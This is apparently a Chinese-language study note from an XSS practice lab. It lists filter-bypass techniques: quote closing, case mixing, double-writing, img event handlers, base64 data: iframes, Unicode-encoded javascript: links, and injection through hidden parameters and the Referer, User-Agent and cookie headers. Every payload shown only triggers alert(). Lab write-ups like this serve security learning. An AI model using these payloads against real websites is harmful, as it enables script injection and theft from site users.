xss注入
常见绕过方法:
单/双引号越过
“><”、'><'构造闭合越过
大小写越过
双写绕过
img绕过
<img src='666' onerror=alert()>
当src路径错误时,触发onerror代码
<img src=666 onmouseout="alert()">
当鼠标移出图片时执行onmouseout
<img src=1 onmouseover="alert()">
当鼠标移入图片时执行onmouseover
data绕过
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+">
这里利用iframe标签,插入一个标签****data:text/html;base64,**** 将后面的内容进行base64解码,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+进行base64解码后是
Unicode编码绕过
这关我们可以看到,我们输入的内容直接被放到了超链接中,我们直接构造javascript:alert()即可
使用Unicode编码绕过
javascript:alert()
href属性自动解析Unicode编码
代码审计
图中我们能看到:当传入的值没有http://则false=false报错
我们可以在payload中加入http://并用注释符注释掉即可
javascript:alert()/*http://*/
传参绕过
图中我们可以看到,有一个隐藏传参t_sort它的type被隐藏了,我们要把它显示出来,添加type=“text”
?t_sort=" onfocus=javascript:alert() type="text
^ ^
此处闭合前面的引号 此处是为了和后面的引号闭合
Referer传参(这个没懂)11关
在请求头中插入xss代码
Referer: " onfocus=javascript:alert() type="text
大致思路为通过get和post传参都失败了,推测为Referer传参,请求成功
测试payload
t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
UA传参
由图中得知,该请求为User-Agent请求
通过抓包请求UA,图中得知,该input被隐藏,所以使用type="text“来回显
" onfocus=javascript:alert() type="text
cookie注入
由该源码推测cook有可能为cookie注入
<input name="t_cook" value="" type="hidden">
查看开发者工具发现cookie正好为user
构造payload
" onfocus=alert() type="text